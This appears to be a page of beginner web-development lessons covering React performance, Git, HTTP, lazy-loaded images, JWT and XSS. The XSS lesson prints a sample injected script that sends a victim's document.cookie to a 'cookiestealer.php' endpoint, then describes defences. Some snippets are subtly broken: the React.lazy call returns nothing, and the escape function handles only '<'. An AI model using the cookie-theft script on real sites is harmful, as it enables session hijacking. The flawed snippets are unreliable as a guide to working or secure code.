// example from https://github.com/maicki/why-did-you-update
import React from 'react';
if (process.env.NODE_ENV !== 'production') {
const {whyDidYouUpdate} = require('why-did-you-update');
whyDidYouUpdate(React);
}
// NOTE: Be sure to disable this feature in your final production build

  • Lazy load the components
    • Webpack optimizes your bundles
    • Webpack creates separate bundles for lazy loaded components
    • Multiple small bundles are good for performance
// TODOComponent.js
class TODOComponent extends Component{
render() {
return <div>TODOComponent</div>
}
}
// Lazy load your component
const TODOComponent = React.lazy(()=>{import('./TODOComponent.js')})
function AppComponent() {
return (<div>
<TODOComponent />
</div>)
}

  • Cache things worth caching
    • use service worker
      • It runs in the background
    • Include specific functionality that requires heavy computation on a separate thread
      • To improve UX
      • This will unblock the main thread
  • Server-side rendering
  • Pre-render if you cannot SSR
    • It's a middle-ground between SSR and CSR
    • This usually involves generating HTML pages for every route during build time
    • And serving that to the user while a JavaScript bundle finishes compiling.
  • Check the app performance on mobile
  • Lists cause most of the performance problems
    • Long list renders cause problems
    • To fix
      • Implement virtualized lists -> like infinite scrolling
      • Or pagination

Student Feedback

HTML To React review

How to improve web performance by using Preload, Preconnect, Prefetch

There are various ways through which we can improve the performance of our webpage. Let's see about preload, prefetch, and preconnect with which we can improve the performance of our webpage.



Web Development Free Lessons



Module 1 - Web Development Tooling


Git and GitHub Basics

What is Git

  • Git is a Version Control System (VCS)

  • A version control system helps you document and store changes you made to your file throughout it's lifetime

  • It makes it easier to managing your projects, files, and changes made to them

  • You can go back and forth to different versions of your files using Git commands

  • It helps keep track of changes done to your files over time by any specific user

  • In the commit process you stage all your changes

  • git add command for staging changes

  • Then you write a nice commit message that will describe your changes to the code

    • ex: Added new TODO component
  • Then you commit your changes to your "local repository"

  • git commit command for committing your changes

  • At this point git history is generated for your commited changed. But the changes are still on your local system

  • Then you push your changes to the remote repository

  • git push command for pushing the changes

  • After this your changes are on the github cloud

  • So, anyone that has access to view your github repo can view these changes and can download it

  • They can also write on your changes if given sufficient access

  • For downloading the remote repo change use git fetch

  • git checkout command is then used to start working on any git feature branch

  • git merge is used if you are already on the branch and just want to merge remote changes with your local changes

NOTE: The exact syntax for these commands will be explained in the following sections


Install Git

git
// sample output excerpt
usage: git [--version] [--help] [-C <path>] [-c <name>=<value>]
[--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
[-p | --paginate | -P | --no-pager] [--no-replace-objects] [--bare]
[--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
<command> [<args>]

Create Git project

  • After your have installed the Git create your first project by running following command
git init sleeplessyogi
// sleeplessyogi is your project name. It can be anything you want.
cd sleeplessyogi
  • When you run this command a Git repository will be created
  • And you will go inside that directory

Adding a file to your repo

  • Create a text file first.txt in your new folder
  • Now to add that file to the Git repository run the following command
git add first.txt
  • This will stage your file making it ready to commit
  • The git add command takes a snapshot of your file
  • Now you will have to push/save this snapshot to your Git repository

Pro tip: You can add all your files by simply running git add . instead of providing the individual file names


Committing your file

  • Once you have staged your you will have to run commit command to push your changes to the Git repository
  • Run the following command to commit your changes
git commit -m "my first commit"
  • Running this command will make save the snapshot of that file in your Git history
  • Commit command can take multiple flags allowing you to customize the command
  • -m flag is used to provide the commit message
  • You can see list of all the available flags here

Must Have Best VSCode Extensions To Increase Your Productivity

Beginning development in VSCode? Switching to VSCode? Save the nostalgia and the lost feeling. These extensions are here to save the day and possibly a lot more days before the deadline.



Module 2 - HTTP and API


What is HTTP

  • Hyper Text Transfer Protocol
  • It defines a set of rules for sending and receiving (transfer) web pages (hypertext)
    • It is also used to transfer other type of data like JSON and images
  • It is a simple request -> response cycle between a local machine called as client and a remote machine called as server
  • When a request is made it has 3 main pieces
    • Start-line
      • Method, target, version
      • ex: GET /image.jpg HTTP/2.0
    • Headers
    • Body
  • When a response is send back it also has 3 main pieces
    • Start-line
      • Version, status code, status text
      • ex: HTTP/2.0 404 Not Found
    • Headers
    • Body

  • Above illustration shows a simple workflow design on how HTTP works
  • Your browser makes a GET request to get the site data
    • sleeplessyogi.com in this case
  • The web server has all the needed content to load the site
  • The web server sends the necessary content back to the browser in response

HTTP is a stateless protocol

  • It treats each pair of request and response independent
  • It does not require to store session information
  • This simplifies the server design
  • As there is no clean up process required of server state in case the client dies
  • But, disadvantage being - additional information is required with every request which is interpreted by server

HTTP2 tutorial - Pros, Cons and other most frequently asked questions

One of every five people I meet is talking about this sizzling new topic- The HTTP/2. But, I am not really sure how many of us really know what we are talking about exactly.




Get NordVPN Deal

Module 3 - Web Application Performance


How to lazy load images?

  • There are plugins available too
  • Below are some methods using vanilla JavaScript

Method 1

  • David Walsh's method
  • It is easy to implement and it’s effective
  • Images are loaded after the HTML content
  • However, you don’t get the saving on bandwidth that comes with preventing unnecessary image data from being loaded when visitors don’t view the entire page content
  • All images are loaded by the browser, whether users have scrolled them into view or not
  • What happens if JS is disabled?
    • Users may not see any image at all
    • Add <noscript> tag with src property
<noscript>
<img
src="myImage.jpg"
alt="My Image"
width="300px" />
</noscript>

Example

  • Here we are selecting all the images with img[data-src] selector
  • Once the HTML is loaded we just replace the data-src attribute with src attribute which will render the image
<img data-src="myImage.jpg" alt="My Image">
[].forEach.call(document.querySelectorAll('img[data-src]'), function(img) {
img.setAttribute('src', img.getAttribute('data-src'));
img.onload = function() {
img.removeAttribute('data-src');
};
});

Method 2

  • Progressively Enhanced Lazy Loading
  • It is an add on to previous David Walsh's method
  • It lazy loads images on scroll
  • It works on the notion that not all images will be loaded if users don’t scroll to their location in the browser

Example

  • We have defined function isInViewport which determines where the image "rectangle" via the getBoundingClientRect function
  • In that function we check if the coordinates of the image are in the viewport of the browser
  • If so, then the isInViewport function returns true and our lazyLoad() method renders the image
  • If not, then we just skip rendering that image
function lazyLoad(){
for(var i=0; i<lazy.length; i++){
if(isInViewport(lazy[i])){
if (lazy[i].getAttribute('data-src')){
lazy[i].src = lazy[i].getAttribute('data-src');
lazy[i].removeAttribute('data-src');
}
}
}
}
function isInViewport(el){
var rect = el.getBoundingClientRect();
return (
rect.bottom >= 0 &&
rect.right >= 0 &&
rect.top <= (window.innerHeight || document.documentElement.clientHeight) &&
rect.left <= (window.innerWidth || document.documentElement.clientWidth)
);
}


Student Feedback

HTML To React review

Module 4 - Web security


JSON Web Token - JWT

  • It is standard used to create access tokens for an application
  • It is a way for securely transmitting information between parties as a JSON object
  • Information about the auth (authentication and authorization) can be stored within the token itself
  • JWT can be represented as a single string

Structure of JWT

  • It is made up of three major components
  • Each component is base64 encoded
base64Url(header) + '.' + base64Url(payload) + '.' + base64Url(signature)
// example how JWT looks like:
feJhbGciOizzUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiQm9iYnkgVGFibGVzIiwiaWF0IjoxNTE2MjM5MDIyLCJpc0FkbWluIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJ1c2Vyc01ha2UiOnRydWUsInVzZXJzQmFuIjp0cnVlLCJ1c2Vyc0RlbGV0ZSI6ZdEsc2V9fQ.HFRcI4qU2lyvDnXhO-cSTkhvhrTCyXv6f6wXSJKGblk

  • Header
    • Contains the metadata about the JWT itself
    • Ex: type of algorithm used to encrypt the signature
// Header example
{
"alg": "HS256",
"typ": "JWT"
}

  • Payload
    • This is the most important part from the app's perspective
    • Payload contains the claims
    • User sends this payload to the server
    • Server then decodes the payload to check for example whether the user can delete a resource
// Payload example
{
"name": "Ninja",
"iat": 123422221, // timestamp the JWT was issued
"isAdmin": true,
"permissions": {
"canViewOrders": true,
"canDeleteOrders": false
}
}

  • Signature
    • This pertains to the security
    • Basically, it's a hashed value of your header, payload, and SECRET
    • The secret that only server and trusted entities know
    • Server used this signature to validate the JWT sent by the user
    • It looks gibberish

  • Imagine international airport
  • You come to the immigration and say - "hey I live here, please pass me through"
    • Your passport confirms this
  • Passport office - authentication service which issued JWT
  • Passport - JWT signed by passport office
  • Citizenship/visa - your claim contained in the JWT
  • Border immigration - security layer which verifies and grants access to the resources
  • Country - the resource you want to access

How JWT works

  • JWT is returned as a response to the user after successful login
  • JWT is saved locally on local storage, session storage or cookie
  • When user want to access private route
    • User query request will send the JWT in authorization header using the bearer schema Authorization: Bearer <token>
  • Protected route checks if the JWT is valid and whether the user has the access
    • If so, then user is allowed to the route or perform the restricted action

Advantages of JWT

  • It is compact so transmission is fast
  • JSON is less verbose
  • It is self contained
    • The payload contains all the required information about user
    • So no need to query server more than once
  • It is very secure
    • It can use the shared SECRET as well as pub/private key pair
    • Strength of the security is strongly linked to your secret key
  • It is easy to implement
    • Developers use Auth0 to manage majority if the JWT stack

Disadvantages of JWT

  • Logouts, deleting users, invalidating token is not easy in JWT
  • You need to whitelist or backlist the JWTs
  • So every time user sends JWT in the request you have to check in the backlist of the JWT

How SSL certificate works? In plain english

I am sure you must have heard about HTTPS. Ever wondered what does the "S" in HTTPS stand for? And, how does it really work?



Student Feedback

HTML To React review

XSS

  • Cross Site Scripting
  • The attacker injects malicious script into trusted website
    • Example: attacker injects JavaScript code which is displayed in user browser
  • Vulnerabilities are injected via
    • URL
    • DOM manipulation
  • Types
    • Unprotected and not sanitized user inputs are stored in database and displayed to other users
    • Unprotected and not sanitized values from URLs are directly used on the web pages
  • When a user is XSS'ed
    • The attacker has access to all it's web browser content
    • Cookies, history, etc.

How XSS work?

  • Refer to the flow from the above diagram
  • Ideally website inputs should only accept plain texts
  • But consider there is a vulnerable website which accepts below script tag and saves it, like bow
<script>
document.write('<img src="http://localhost/cookiestealer.php? cookie ='
+ escape(document.cookie) +
+ ' />');
</script>
// `document.cookie` has the cookie
// `cookiestealer.php` has the script to send the cookie to the attacker
  • Attacker injects the above example script that will steal the victim's cookies
  • The victim browser will think its javascript code sent by server to be executed
  • The user will see an image-link so user might just click it
  • When the user clicks this link image gets rendered, BUT -
    • In the background this link will silently grab the cookie
    • This cookie has all the active session details
  • The cookies are sent to the attacker
  • Now attacker can pose as the victim user and do bad things

Defense against XSS

  • Every value that can be entered by user should be treated as untrusted data
  • All the input must be sanitized before storing
    • Example: all theHTML tags are removed
  • Validation code for number values, username, email, password
    • There are existing libraries available for doing such validations
  • Escape the strings
    • This script looks for special characters, such as < > and replaces them with appropriate HTML character entity name
    • There are existing libraries available for this purpose
    • Write escape logic on front end as well as back end
    • Below is a simple logic how to escape the string
function escapeString(str) {
return str.replace(/</g, '&lt;')
}

Liked the free lessons, want the entire book?

Click here to grab your copy of the HTML to React: The Ultimate Guide

This book is beginners friendly and contains project ideas, interview prep, roadmaps, and much more.




Try Etsy For Free
Previous: Coding Bits: Applying programming knowledge X Algorithms and data structures for web devNext: Huge List of Small Advices

Share This Post